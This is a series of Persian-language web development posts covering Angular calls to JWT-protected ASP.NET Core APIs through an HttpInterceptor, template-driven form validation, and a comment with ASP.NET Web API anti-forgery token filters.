در اینجا قصد داریم صفحه‌ای را به برنامه اضافه کنیم تا در آن بتوان اطلاعات کنترلرهای محافظت شده‌ی سمت سرور، مانند MyProtectedAdminApiController (تنها قابل دسترسی توسط کاربرانی دارای نقش Admin) و MyProtectedApiController (قابل دسترسی برای عموم کاربران وارد شده‌ی به سیستم) را دریافت و نمایش دهیم. به همین جهت کامپوننت جدیدی را به ماژول Dashboard اضافه می‌کنیم:
 >ng g c Dashboard/CallProtectedApi
سپس به فایل dashboard-routing.module.ts ایجاد شده مراجعه کرده و مسیریابی کامپوننت جدید ProtectedPage را اضافه می‌کنیم:
import { CallProtectedApiComponent } from "./call-protected-api/call-protected-api.component";

const routes: Routes = [
  {
    path: "callProtectedApi",
    component: CallProtectedApiComponent,
    data: {
      permission: {
        permittedRoles: ["Admin", "User"],
        deniedRoles: null
      } as AuthGuardPermission
    },
    canActivate: [AuthGuard]
  }
];
توضیحات AuthGuard و AuthGuardPermission را در قسمت قبل مطالعه کردید. در اینجا هدف این است که تنها کاربران دارای نقش‌های Admin و یا User قادر به دسترسی به این مسیر باشند.
لینکی را به این صفحه نیز در فایل header.component.html به صورت ذیل اضافه خواهیم کرد تا فقط توسط کاربران وارد شده‌ی به سیستم (isLoggedIn) قابل مشاهده باشد:
<li *ngIf="isLoggedIn" routerLinkActive="active">
        <a [routerLink]="['/callProtectedApi']">‍‍Call Protected Api</a>
</li>


نمایش و یا مخفی کردن قسمت‌های مختلف صفحه بر اساس نقش‌های کاربر وارد شده‌ی به سیستم

در ادامه می‌خواهیم دو دکمه را بر روی صفحه قرار دهیم تا اطلاعات کنترلرهای محافظت شده‌ی سمت سرور را بازگشت دهند. دکمه‌ی اول قرار است تنها برای کاربر Admin قابل مشاهده باشد و دکمه‌ی دوم توسط کاربری با نقش‌های Admin و یا User.
به همین جهت call-protected-api.component.ts را به صورت ذیل تغییر می‌دهیم:
import { Component, OnInit } from "@angular/core";
import { AuthService } from "../../core/services/auth.service";

@Component({
  selector: "app-call-protected-api",
  templateUrl: "./call-protected-api.component.html",
  styleUrls: ["./call-protected-api.component.css"]
})
export class CallProtectedApiComponent implements OnInit {

  isAdmin = false;
  isUser = false;
  result: any;

  constructor(private authService: AuthService) { }

  ngOnInit() {
    this.isAdmin = this.authService.isAuthUserInRole("Admin");
    this.isUser = this.authService.isAuthUserInRole("User");
  }

  callMyProtectedAdminApiController() {
  }

  callMyProtectedApiController() {
  }
}
در اینجا دو خاصیت عمومی isAdmin و isUser، در اختیار قالب این کامپوننت قرار گرفته‌اند. مقدار دهی آن‌ها نیز توسط متد isAuthUserInRole که در قسمت قبل توسعه دادیم، انجام می‌شود. اکنون که این دو خاصیت مقدار دهی شده‌اند، می‌توان از آن‌ها به کمک یک ngIf، به صورت ذیل در قالب call-protected-api.component.html جهت مخفی کردن و یا نمایش قسمت‌های مختلف صفحه استفاده کرد:
<button *ngIf="isAdmin" (click)="callMyProtectedAdminApiController()">
  Call Protected Admin API [Authorize(Roles = "Admin")]
</button>

<button *ngIf="isAdmin || isUser" (click)="callMyProtectedApiController()">
  Call Protected API ([Authorize])
</button>

<div *ngIf="result">
  <pre>{{result | json}}</pre>
</div>


دریافت اطلاعات از کنترلرهای محافظت شده‌ی سمت سرور

برای دریافت اطلاعات از کنترلرهای محافظت شده، باید در قسمتی که HttpClient درخواست خود را به سرور ارسال می‌کند، هدر مخصوص Authorization را که شامل توکن دسترسی است، به سمت سرور ارسال کرد. این هدر ویژه را به صورت ذیل می‌توان در AuthService تولید نمود:
  getBearerAuthHeader(): HttpHeaders {
    return new HttpHeaders({
      "Content-Type": "application/json",
      "Authorization": `Bearer ${this.getRawAuthToken(AuthTokenType.AccessToken)}`
    });
  }

روش دوم انجام اینکار که مرسوم‌تر است، اضافه کردن خودکار این هدر به تمام درخواست‌های ارسالی به سمت سرور است. برای اینکار باید یک HttpInterceptor را تهیه کرد. به همین منظور فایل جدید app\core\services\auth.interceptor.ts را به برنامه اضافه کرده و به صورت ذیل تکمیل می‌کنیم:
import { Injectable } from "@angular/core";
import { HttpEvent, HttpInterceptor, HttpHandler, HttpRequest } from "@angular/common/http";
import { Observable } from "rxjs/Observable";

import { AuthService, AuthTokenType } from "./auth.service";

@Injectable()
export class AuthInterceptor implements HttpInterceptor {

  constructor(private authService: AuthService) { }

  intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {

    const accessToken = this.authService.getRawAuthToken(AuthTokenType.AccessToken);
    if (accessToken) {
      request = request.clone({
        headers: request.headers.set("Authorization", `Bearer ${accessToken}`)
      });
    }

    return next.handle(request);
  }
}
در اینجا یک clone از درخواست جاری ایجاد شده و سپس به headers آن، یک هدر جدید Authorization که به همراه توکن دسترسی است، اضافه خواهد شد.
به این ترتیب دیگری نیازی نیست تا به ازای هر درخواست و هر قسمتی از برنامه، این هدر را به صورت دستی تنظیم کرد و اضافه شدن آن پس از تنظیم ذیل، به صورت خودکار انجام می‌شود:
import { HTTP_INTERCEPTORS } from "@angular/common/http";

import { AuthInterceptor } from "./services/auth.interceptor";

@NgModule({
  providers: [
    {
      provide: HTTP_INTERCEPTORS,
      useClass: AuthInterceptor,
      multi: true
    }
  ]
})
export class CoreModule {}
در اینجا نحوه‌ی معرفی این HttpInterceptor جدید را به قسمت providers مخصوص CoreModule مشاهده می‌کنید.

در این حالت اگر برنامه را اجرا کنید، خطای ذیل را در کنسول توسعه‌دهنده‌های مرورگر مشاهده خواهید کرد:
compiler.js:19514 Uncaught Error: Provider parse errors:
Cannot instantiate cyclic dependency! InjectionToken_HTTP_INTERCEPTORS ("[ERROR ->]"): in NgModule AppModule in ./AppModule@-1:-1
در سازنده‌ی کلاس سرویس AuthInterceptor، سرویس Auth تزریق شده‌است که این سرویس نیز دارای HttpClient تزریق شده‌ی در سازنده‌ی آن است. به همین جهت Angular تصور می‌کند که ممکن است در اینجا یک بازگشت بی‌نهایت بین این interceptor و سرویس Auth رخ‌دهد. اما از آنجائیکه ما هیچکدام از متدهایی را که با HttpClient کار می‌کنند، در اینجا فراخوانی نمی‌کنیم و تنها کاربرد سرویس Auth، دریافت توکن دسترسی است، این مشکل را می‌توان به صورت ذیل برطرف کرد:
import { Injector } from "@angular/core";

  constructor(private injector: Injector) { }

  intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
    const authService = this.injector.get(AuthService);
ابتدا سرویس Injector را به سازنده‌ی کلاس AuthInterceptor تزریق می‌کنیم و سپس توسط متد get آن، سرویس Auth را درخواست خواهیم کرد (بجای تزریق مستقیم آن در سازنده‌ی کلاس):
@Injectable()
export class AuthInterceptor implements HttpInterceptor {

  constructor(private injector: Injector) { }

  intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
    const authService = this.injector.get(AuthService);
    const accessToken = authService.getRawAuthToken(AuthTokenType.AccessToken);
    if (accessToken) {
      request = request.clone({
        headers: request.headers.set("Authorization", `Bearer ${accessToken}`)
      });
    }

    return next.handle(request);
  }
}


تکمیل متدهای دریافت اطلاعات از کنترلرهای محافظت شده‌ی سمت سرور

اکنون پس از افزودن AuthInterceptor، می‌توان متدهای CallProtectedApiComponent را به صورت ذیل تکمیل کرد. ابتدا سرویس‌های Auth ،HttpClient و همچنین تنظیمات آغازین برنامه را به سازنده‌ی CallProtectedApiComponent تزریق می‌کنیم:
  constructor(
    private authService: AuthService,
    private httpClient: HttpClient,
    @Inject(APP_CONFIG) private appConfig: IAppConfig,
  ) { }
سپس متدهای httpClient.get و یا هر نوع متد مشابه دیگری را به صورت معمولی فراخوانی خواهیم کرد:
  callMyProtectedAdminApiController() {
    this.httpClient
      .get(`${this.appConfig.apiEndpoint}/MyProtectedAdminApi`)
      .map(response => response || {})
      .catch((error: HttpErrorResponse) => Observable.throw(error))
      .subscribe(result => {
        this.result = result;
      });
  }

  callMyProtectedApiController() {
    this.httpClient
      .get(`${this.appConfig.apiEndpoint}/MyProtectedApi`)
      .map(response => response || {})
      .catch((error: HttpErrorResponse) => Observable.throw(error))
      .subscribe(result => {
        this.result = result;
      });
  }

در این حالت اگر برنامه را اجرا کنید، افزوده شدن خودکار هدر مخصوص Authorization:Bearer را در درخواست ارسالی به سمت سرور، مشاهده خواهید کرد:



مدیریت خودکار خطاهای عدم دسترسی ارسال شده‌ی از سمت سرور

ممکن است کاربری درخواستی را به منبع محافظت شده‌ای ارسال کند که به آن دسترسی ندارد. در AuthInterceptor تعریف شده می‌توان به وضعیت این خطا، دسترسی یافت و سپس کاربر را به صفحه‌ی accessDenied که در قسمت قبل ایجاد کردیم، به صورت خودکار هدایت کرد:
    return next.handle(request)
      .catch((error: any, caught: Observable<HttpEvent<any>>) => {
        if (error.status === 401 || error.status === 403) {
          this.router.navigate(["/accessDenied"]);
        }
        return Observable.throw(error);
      });
در اینجا ابتدا نیاز است سرویس Router، به سازنده‌ی کلاس تزریق شود و سپس متد catch درخواست پردازش شده، به صورت فوق جهت عکس العمل نشان دادن به وضعیت‌های 401 و یا 403 و هدایت کاربر به مسیر accessDenied تغییر کند:
@Injectable()
export class AuthInterceptor implements HttpInterceptor {

  constructor(
    private injector: Injector,
    private router: Router) { }

  intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
    const authService = this.injector.get(AuthService);
    const accessToken = authService.getRawAuthToken(AuthTokenType.AccessToken);
    if (accessToken) {
      request = request.clone({
        headers: request.headers.set("Authorization", `Bearer ${accessToken}`)
      });
      return next.handle(request)
        .catch((error: any, caught: Observable<HttpEvent<any>>) => {
          if (error.status === 401 || error.status === 403) {
            this.router.navigate(["/accessDenied"]);
          }
          return Observable.throw(error);
        });
    } else {
      // login page
      return next.handle(request);
    }
  }
}
برای آزمایش آن، یک کنترلر سمت سرور جدید را با نقش Editor اضافه می‌کنیم:
using ASPNETCore2JwtAuthentication.Services;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Cors;
using Microsoft.AspNetCore.Mvc;

namespace ASPNETCore2JwtAuthentication.WebApp.Controllers
{
    [Route("api/[controller]")]
    [EnableCors("CorsPolicy")]
    [Authorize(Policy = CustomRoles.Editor)]
    public class MyProtectedEditorsApiController : Controller
    {
        public IActionResult Get()
        {
            return Ok(new
            {
                Id = 1,
                Title = "Hello from My Protected Editors Controller! [Authorize(Policy = CustomRoles.Editor)]",
                Username = this.User.Identity.Name
            });
        }
    }
}
و برای فراخوانی سمت کلاینت آن در CallProtectedApiComponent خواهیم داشت:
  callMyProtectedEditorsApiController() {
    this.httpClient
      .get(`${this.appConfig.apiEndpoint}/MyProtectedEditorsApi`)
      .map(response => response || {})
      .catch((error: HttpErrorResponse) => Observable.throw(error))
      .subscribe(result => {
        this.result = result;
      });
  }
چون این نقش جدید به کاربر جاری انتساب داده نشده‌است (جزو اطلاعات سمت سرور او نیست)، اگر آن‌را توسط متد فوق فراخوانی کند، خطای 403 را دریافت کرده و به صورت خودکار به مسیر accessDenied هدایت می‌شود:



نکته‌ی مهم: نیاز به دائمی کردن کلیدهای رمزنگاری سمت سرور

اگر برنامه‌ی سمت سرور ما که توکن‌ها را اعتبارسنجی می‌کند، ری‌استارت شود، چون قسمتی از کلیدهای رمزگشایی اطلاعات آن با اینکار مجددا تولید خواهند شد، حتی با فرض لاگین بودن شخص در سمت کلاینت، توکن‌های فعلی او برگشت خواهند خورد و از مرحله‌ی تعیین اعتبار رد نمی‌شوند. در این حالت کاربر خطای 401 را دریافت می‌کند. بنابراین پیاده سازی مطلب «غیرمعتبر شدن کوکی‌های برنامه‌های ASP.NET Core هاست شده‌ی در IIS پس از ری‌استارت آن» را فراموش نکنید.



کدهای کامل این سری را از اینجا می‌توانید دریافت کنید.
برای اجرای آن فرض بر این است که پیشتر Angular CLI را نصب کرده‌اید. سپس از طریق خط فرمان به ریشه‌ی پروژه‌ی ASPNETCore2JwtAuthentication.AngularClient وارد شده و دستور npm install را صادر کنید تا وابستگی‌های آن دریافت و نصب شوند. در آخر با اجرای دستور ng serve -o، برنامه ساخته شده و در مرورگر پیش فرض سیستم نمایش داده خواهد شد (و یا همان اجرای فایل ng-serve.bat). همچنین باید به پوشه‌ی ASPNETCore2JwtAuthentication.WebApp نیز مراجعه کرده و فایل dotnet_run.bat را اجرا کنید، تا توکن سرور برنامه نیز فعال شود. 
مطالب
فرم‌های مبتنی بر قالب‌ها در Angular - قسمت چهارم - اعتبارسنجی ورودی‌ها
پس از برقراری ارتباط بین فرم و مدل آن در قسمت قبل، مرحله‌ی بعدی طراحی یک فرم خوب، اعتبارسنجی ورودی‌های کاربران است و واکنش نشان دادن به ورودی‌های نامطلوب.


کلاس‌های CSS اعتبارسنجی در Angular

زمانیکه Angular فرمی را تحت نظر قرار می‌دهد، کلاس‌های CSS خاصی را نیز بر اساس حالات عناصر مختلف آن، به آن‌ها متصل خواهد کرد. بر این اساس می‌توان ظاهر این المان‌ها را سفارشی سازی نمود. این کلاس‌ها به شرح زیر هستند:

  کلاس CSS اعتبارسنجی  توضیحات 
  ng-untouched   زمانیکه فرمی برای بار اول رندر می‌شود، تمام فیلدهای آن با کلاس CSS ایی به نام ng-untouched علامتگذاری می‌شوند. 
  ng-touched   همینقدر که کاربر با یک Tab از فیلدی عبور کند، با کلاس ng-touched مزین خواهد شد. بنابراین مهم نیست که حتما داده‌ای وارد شده باشد یا خیر. حتی عبور از یک فیلد نیز به معنای لمس آن نیز می‌باشد. 
 ng-pristine   مربوط به زمانی‌‌است که یک فیلد نه تغییر کرده‌است و نه لمس شده‌است. 
  ng-dirty   همینقدر که کاربر، تغییری را در فیلدی ایجاد کند، آن المان با کلاس ng-dirty مشخص خواهد شد. 
 ng-valid   برای حالت موفقیت آمیز بودن اعتبارسنجی، به آن المان انتساب داده می‌شود. 
  ng-invalid   برای حالت غیر موفقیت آمیز بودن اعتبارسنجی، به آن المان انتساب داده می‌شود. 

برای اینکه بتوانیم این موارد را در عمل مشاهده کنیم، به ابتدای فرم مثال این سری، تغییرات ذیل را اعمال خواهیم کرد:
<div class="form-group">
    <label>First Name</label>
    <input #firstName required type="text" class="form-control" name="firstName" [(ngModel)]="model.firstName">
</div>

<h3>Classes</h3>
<h4>{{ firstName.className }}</h4>
برای اینکه مشخص کنیم چه کلاسی به المان firstName متصل شده‌است، ابتدا نیاز است یک template reference variable را برای آن تعریف کنیم که اینکار را توسط معرفی firstName# انجام داده‌ایم. به این ترتیب است که می‌توان به خاصیت className آن در ادامه دسترسی یافت.


تصویر فوق کلاس‌هایی را نمایش می‌دهد که در اولین بار نمایش فرم، به المان firstName متصل شده‌اند. برای مثال در این حالت کلاس ng-pristine قابل مشاهده‌است و هنوز تغییری در آن حاصل نشده‌است.
در ادامه اگر حرفی را به آن اضافه کنیم:


هنوز هم ng-untouched آن برقرار است؛ اما ng-pristine آن به ng-dirty تبدیل شده‌است. در اینجا حتی اگر کل اطلاعات فیلد را نیز حذف کنیم و آن‌را خالی کنیم یا به حالت اول بازگردانیم نیز کلاس ng-dirty قابل مشاهده‌است. بنابراین اگر حالت فیلدی dirty شد، همواره به همین حالت باقی می‌ماند.
در این لحظه اگر با Tab به فیلد دیگری در فرم مراجعه کنیم:


در اینجا است که کلاس ng-untouched به ng-touched تبدیل می‌شود. بنابراین کلاس‌های مختلف لمس یک فیلد، ارتباطی به افزوده شدن یا حذف کاراکتری از یک فیلد ندارند و فقط به از دست رفتن focus و مراجعه‌ی به فیلد دیگری مرتبط می‌شوند.

اگر به المان تغییر یافته‌ی فوق دقت کنید، ویژگی required نیز به آن اضافه شده‌است (علاوه بر template reference variable ایی که تعریف کردیم). در این حالت کل فیلد را خالی کنید:


همانطور که مشاهده می‌کنید، اکنون کلاس ng-valid به کلاس ng-invalid تغییر یافته‌است.


ارتباط بین کلاس‌های CSS اعتبارسنجی و خواص ngModel

تمام کلاس‌های -ng ایی که در بالا معرفی شدند، معادل‌های خواص ngModel ایی نیز دارند. فقط کافی است -ng آن‌ها را حذف کنید، باقیمانده‌ی آن، نام خاصیت متناظری در ngModel خواهد بود. برای مثال کلاس ng-untouched به خاصیت untouched نگاشت می‌شود و به همین ترتیب برای مابقی.
template reference variable ایی را که تا به اینجا به المان اضافه کردیم (firstName#) به خواص همان المان دسترسی دارد (مانند className آن). اما در ادامه می‌خواهیم این متغیر به ngModel و خواص آن دسترسی داشته باشد و میدان دید آن تغییر کند. به همین جهت تنها کافی است تا ngModel را به این متغیر انتساب دهیم:
<div class="form-group">
    <label>First Name</label>
    <input #firstName="ngModel" required type="text" class="form-control" name="firstName" [(ngModel)]="model.firstName">
</div>

<h4>dirty: {{ firstName.dirty }}</h4>
پس از این تغییر اکنون template reference variable تعریف شده می‌تواند برای نمونه به خاصیت dirty شیء ngModel دسترسی پیدا کند.


یک نکته: در حالت خواص valid و invalid که مرتبط با اعتبارسنجی هستند، خاصیت سومی نیز به نام errors وجود دارد که حاوی اطلاعات بیشتری در مورد خطای اعتبارسنجی رخ داده‌است. بنابراین وجود این خاصیت و نال نبودن آن نیز دلالت بر وجود یک خطای اعتبارسنجی است. از خاصیت errors در ادامه‌ی بحث در قسمت «مدیریت چندین خطای همزمان اعتبارسنجی» استفاده خواهیم کرد.


نمایش بهتر خطاهای اعتبارسنجی با بررسی خواص ngModel

یکی از مزایای کار با خواص ngModel، امکان استفاده‌ی از آن‌ها در عبارات شرطی‌است که نسبت به کلاس‌های CSS معرفی شده‌ی در ابتدای بحث، انعطاف پذیری بیشتری را به همراه خواهند داشت.
<div class="form-group">
    <label>First Name</label>
    <input #firstName="ngModel" #firstNameElement required type="text" class="form-control" 
              name="firstName" [(ngModel)]="model.firstName">
    <div *ngIf="firstName.invalid && firstName.touched" class="alert alert-danger">
        First Name is required.
    </div>      
</div>

<h4>className: {{ firstNameElement.className }}</h4>
<h4>dirty: {{ firstName.dirty }}</h4>
<h4>invalid: {{ firstName.invalid }}</h4>
توسط ngIf می‌توان المانی را به DOM اضافه و یا کلا از آن حذف کرد. در اینجا یک عبارت boolean به آن نسبت داده شده‌است. ابتدا حالت firstName.invalid را بررسی کنید. مشاهده خواهید کرد که اگر فرم برای بار اول و با مقادیر خالی نمایش داده شود، div خطا نیز ظاهر می‌شود که آنچنان خوشایند نیست و بهتر است خطاها را پس از اینکه کاربر مشغول به کار با فرم شد، به او نمایش دهیم؛ تا اینکه از همان ابتدا این خطاها به صورت واضحی نمایش داده شوند. بنابراین && firstName.touched نیز در اینجا اضافه شده‌است. به این ترتیب div نمایش دهنده‌ی alert بوت استرپ، دیگر در اولین بار نمایش یک فرم خالی، ظاهر نخواهد شد. اما اگر کاربر با یک tab از فیلدی خالی رد شد، آنگاه این خطا نمایش داده می‌شود.



نمایش بهتر خطاهای اعتبارسنجی با مزین ساختن المان‌های ورودی

علاوه بر نمایش یک alert بوت استرپی متناظر با یک فیلد غیرمعتبر، می‌توان خود المان‌های ورودی را نیز با شیوه‌نامه‌هایی مزین ساخت.


این کار را در بوت استرپ با افزودن کلاس has-error در کنار form-group انجام می‌دهند. همچنین label نیز باید به کلاس control-label مزین شود تا hass-error بر روی آن نیز تاثیرگذار شود. برای پیاده سازی پویای آن در Angular به روش ذیل عمل می‌شود:
<div class="form-group" [class.has-error]="firstName.invalid && firstName.touched">
   <label class="control-label">First Name</label>
در اینجا روش افزودن شرطی کلاس ویژه‌ی has-error بوت استرپ را به مجموعه کلاس‌های div جاری ملاحظه می‌کنید. هر زمان که شرط ذکر شده برقرار باشد، در عبارت property binding مخصوص class.className، این className را به صورت خودکار به مجموعه کلاس‌های آن المان اضافه می‌کند و برعکس.
بنابراین اگر المان firstName خالی باشد و همچنین با یک Tab از روی آن عبور کرده باشیم، کلاس has-error در کنار کلاس form-group اضافه می‌شود.

روش دوم: همانطور که در ابتدای بحث نیز عنوان شد، Angular بر اساس حالات مختلف یک فیلد، کلاس‌های CSS خاصی را به آن‌ها انتساب می‌دهد. یک چنین کاری را با مقدار دهی این کلاس‌ها در فایل src\styles.css نیز می‌توان انجام داد که دقیقا معادل بررسی خواص invalid و touched با کدنویسی است:
.ng-touched.ng-invalid{
    border: 1px solid red;
}


سایر ویژگی‌های اعتبارسنجی HTML 5

تا اینجا ویژگی استاندارد required را به المان ورودی فرم ثبت اطلاعات کاربران، اضافه کردیم.
<input #firstName="ngModel" #firstNameElement 
required maxlength="3" minlength="2" pattern="^V.*"
type="text" class="form-control" name="firstName" [(ngModel)]="model.firstName">
در اینجا برای مثال اعمال ویژگی‌های maxlength، minlength و pattern را مشاهده می‌کنید. ویژگی pattern برای تعریف عبارات باقاعده بکار می‌رود (برای مثال، نام حتما باید با V شروع شود) و تقریبا در تمام مرورگرها (caniuse.com ) نیز پشتیبانی می‌شود.
برای نمونه minlength همه‌جا پشتیبانی نمی‌شود؛ اما آن‌را می‌توان برای مثال با الگویی مساوی "+..." جایگزین کرد.


مشکل! ذکر چند ویژگی اعتبارسنجی با هم، تداخل ایجاد می‌کنند!

در اینجا چون چهار ویژگی مختلف را به صورت یکجا به یک المان متصل کرده‌ایم، اکنون div ذیل به هر کدام از این ویژگی‌ها به صورت یکسانی واکنش نشان خواهد داد؛ زیرا خاصیت invalid را true می‌کنند:
    <div *ngIf="firstName.invalid && firstName.touched" class="alert alert-danger">
        First Name is required.
    </div>
روش مدیریت این حالت، به صورت ذیل است:
    <div class="form-group" [class.has-error]="firstName.invalid && firstName.touched">
      <label class="control-label">First Name</label>
      <input #firstName="ngModel" #firstNameElement 
             required maxlength="3" minlength="2" pattern="^V.*"
             type="text" class="form-control" name="firstName" [(ngModel)]="model.firstName">
      <div *ngIf="firstName.invalid && firstName.touched">
        <div class="alert alert-info">
           errors: {{ firstName.errors | json }}
        </div> 
        <div class="alert alert-danger" *ngIf="firstName.errors.required">
           Name is required.
        </div>
        <div class="alert alert-danger" *ngIf="firstName.errors.minlength">
           Name should be minimum {{firstName.errors.minlength.requiredLength}} characters.
        </div>
        <div class="alert alert-danger" *ngIf="firstName.errors.maxlength">
           Name should be max {{firstName.errors.maxlength.requiredLength}} characters.
        </div>
        <div class="alert alert-danger" *ngIf="firstName.errors.pattern">
           Name pattern: {{firstName.errors.pattern.requiredPattern}}
        </div>
      </div>      
    </div>
با یک چنین خروجی:


همانطور که در تصویر ملاحظه می‌کنید، محتوای خاصیت errors به صورت JSON، جهت دیباگ نیز درج شده‌است.
بنابراین وجود خاصیت firstName.errors.minlength و یا firstName.errors.pattern به این معنا است که این خطاهای خاص وجود دارند (خاصیت firstName.errors به همراه اضافاتی است) و برعکس نال بودن آن‌ها مؤید عدم وجود خطایی است. به همین جهت می‌توان به ازای هر کدام، یک div جداگانه را تشکیل داد.
مرحله‌ی بعد، استخراج اطلاعات بیشتری از همین شیء و محتوای خاصیت errors است. برای مثال زمانیکه در آن خاصیت minlength ظاهر شد، این خاصیت نیز دارای خاصیتی مانند requiredLength است که از آن می‌توان جهت درج عدد واقعی مورد نیاز این اعتبارسنج استفاده کرد.


بهبود اعتبارسنجی drop down

در حالت فعلی تعریف drop down مثال این سری، نیازی به اعتبارسنجی نیست؛ چون لیست مشخصی از طریق کامپوننت در اختیار این المان قرار می‌گیرد و همواره دقیقا یکی از این عناصر انتخاب خواهند شد. اما اگر گزینه‌ی دیگری را مانند:
<option value="default">Select a Language...</option>
به ابتدای این لیست اضافه کنیم، اینبار نیاز به اعتبارسنجی خواهد بود؛ زیرا اکنون کاربر می‌تواند گزینه‌ای را انتخاب نکند و راهی پیش فرض هم برای اعتبارسنجی این گزینه وجود ندارد.
    <div class="form-group" [class.has-error]="hasPrimaryLanguageError">
      <label class="control-label">Primary Language</label>
      <select class="form-control" name="primaryLanguage" 
                #primaryLanguage
                (blur)="validatePrimaryLanguage(primaryLanguage.value)"
                (change)="validatePrimaryLanguage(primaryLanguage.value)"
                [(ngModel)]="model.primaryLanguage">
          <option value="default">Select a Language...</option>
          <option *ngFor="let lang of languages">
            {{ lang }}
          </option>
      </select>
    </div>
در اینجا اتصال به class.has-error را همانند مثال‌های قبلی مشاهده می‌کنید. اما اینبار به یک خاصیت عمومی تعریف شده‌ی در سطح کامپوننت متصل شده‌است؛ زیرا Angular در مورد این المان خاص، کاری را برای ما انجام نخواهد داد. همچنین پیاده سازی حالت عبور از این کامپوننت با Tab نیز توسط اتصال به رخداد blur صورت گرفته‌است تا هر زمانیکه این فیلد focus را از دست داد، اجرا شود. دسترسی به مقدار جاری انتخابی این select نیز توسط یک template reference variable به نام primaryLanguage# صورت گرفته‌است. به این ترتیب می‌توان به خواص این المان مانند value آن دسترسی پیدا کرد. همچنین چون می‌خواهیم با انتخاب گزینه‌ی دیگری این علامت خطا رفع شود، این متد به رخداد change نیز علاوه بر blur، متصل شده‌است.
export class EmployeeRegisterComponent {
  hasPrimaryLanguageError = false;

  validatePrimaryLanguage(value) {
    if (value === 'default'){
      this.hasPrimaryLanguageError = true;
      }
    else{
      this.hasPrimaryLanguageError = false;
      }
  }
}
کار این متد تغییر مقدار hasPrimaryLanguageError است تا کلاس has-error در فرم نمایش داده شود. در اینجا اگر مقدار primaryLanguage انتخابی همان گزینه‌ی default ابتدایی باشد، خاصیت hasPrimaryLanguageError به true تنظیم می‌شود:



اعتبارسنجی در سطح کل فرم

تا اینجا بررسی‌هایی را که انجام دادیم، در سطح فیلدها بودند. اکنون اگر کاربر به طور کامل تمام این فیلدها را تغییر ندهد و بر روی دکمه‌ی ارسال کلیک کند چطور؟
<form #form="ngForm" novalidate>
زمانیکه فرم جاری را ایجاد کردیم، یک template reference variable را به نام form# نیز به آن نسبت دادیم و چون به ngForm متصل شده‌است، می‌توان به خواص این شیء نیز دسترسی یافت. برای نمونه پس از دکمه‌ی ثبت، عبارت ذیل را تعریف کنید:
<h3> form.valid: {{ form.valid }}</h3>
همانطور که ملاحظه می‌کنید یکی از خواص شیء ngForm که توسط متغیر form قابل دسترسی شده‌است، خاصیت valid می‌باشد که حاصل اعتبارسنجی تمام عناصر داخل فرم است. برای مثال می‌توان از این خاصیت جهت فعال یا غیرفعال کردن دکمه‌ی ثبت اطلاعات نیز استفاده کرد:
<button class="btn btn-primary" type="submit"
            [disabled]="form.invalid">Ok</button>
در اینجا مقدار form.invalid به خاصیت disabled المان متصل شده‌است و اگر اعتبارسنجی فرم با شکست مواجه شود، این دکمه در حالت غیرفعال ظاهر می‌شود.


در قسمت بعد نحوه‌ی ارسال این فرم را به سرور، بررسی می‌کنیم.


کدهای کامل این قسمت را از اینجا می‌توانید دریافت کنید: angular-template-driven-forms-lab-04.zip
برای اجرای آن فرض بر این است که پیشتر Angular CLI را نصب کرده‌اید. سپس از طریق خط فرمان به ریشه‌ی پروژه وارد شده و دستور npm install را صادر کنید تا وابستگی‌های آن دریافت و نصب شوند. در آخر با اجرای دستور ng serve -o برنامه ساخته شده و در مرورگر پیش فرض سیستم نمایش داده خواهد شد.
نظرات مطالب
افزودن و اعتبارسنجی خودکار Anti-Forgery Tokens در برنامه‌های Angular مبتنی بر ASP.NET Core
یک چنین پیاده سازی خواهد داشت:
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web;
using System.Web.Helpers;
using System.Web.Http.Controllers;
using System.Web.Http.Filters;
using System.Web.Mvc;
using ActionFilterAttribute = System.Web.Http.Filters.ActionFilterAttribute;

namespace NgxAntiforgeryWebApi.Providers
{
    public class XsrfCookieGeneratorAttribute : ActionFilterAttribute
    {
        public override void OnActionExecuted(HttpActionExecutedContext actionExecutedContext)
        {
            var xsrfTokenCookie = new HttpCookie("XSRF-TOKEN")
            {
                Value = ComputeXsrfTokenValue(),
                HttpOnly = false // Now JavaScript is able to read the cookie
            };
            HttpContext.Current.Response.AppendCookie(xsrfTokenCookie);
        }

        private string ComputeXsrfTokenValue()
        {
            string cookieToken, formToken;
            AntiForgery.GetTokens(null, out cookieToken, out formToken);
            return $"{cookieToken}:{formToken}";
        }
    }

    public class XsrfTokensValidationAttribute : ActionFilterAttribute
    {
        public override void OnActionExecuting(HttpActionContext actionContext)
        {
            IEnumerable<string> headerValues;
            if (!actionContext.Request.Headers.TryGetValues("X-XSRF-TOKEN", out headerValues))
            {
                actionContext.Response = new HttpResponseMessage(HttpStatusCode.BadRequest) { ReasonPhrase = "X-XSRF-TOKEN header is missing." };
                return;
            }

            if (headerValues == null)
            {
                actionContext.Response = new HttpResponseMessage(HttpStatusCode.BadRequest) { ReasonPhrase = "X-XSRF-TOKEN header value is empty." };
                return;
            }

            var xsrfTokensValue = headerValues.FirstOrDefault();
            if (string.IsNullOrEmpty(xsrfTokensValue) || !xsrfTokensValue.Contains(":"))
            {
                actionContext.Response = new HttpResponseMessage(HttpStatusCode.BadRequest) { ReasonPhrase = "X-XSRF-TOKEN header value is null." };
                return;
            }

            var values = xsrfTokensValue.Split(':');
            if (values.Length != 2)
            {
                actionContext.Response = new HttpResponseMessage(HttpStatusCode.BadRequest) { ReasonPhrase = "X-XSRF-TOKEN header value is malformed." };
                return;
            }

            var cookieToken = values[0];
            var formToken = values[1];

            try
            {
                AntiForgery.Validate(cookieToken, formToken);
            }
            catch (HttpAntiForgeryException ex)
            {
                actionContext.Response = new HttpResponseMessage(HttpStatusCode.BadRequest) {  ReasonPhrase = ex.Message };
            }
        }
    }
}
XsrfCookieGeneratorAttribute کار تولید کوکی مخصوص Angular را انجام می‌دهد (می‌تواند به عنوان فیلتر سراسری معرفی شود و یا فقط یکبار پس از لاگین، کوکی آن‌را به روشی که عنوان شده، تولید کنید؛ بدون نیاز به تولید هرباره‌ی آن با هر درخواستی) و XsrfTokensValidationAttribute بجای ValidateAntiForgeryToken اصلی بکار خواهد رفت.
مطالب
خلاصه‌ی سرفصل‌های مورد نیاز جهت ارتقاء به ASP.NET Core 3.0
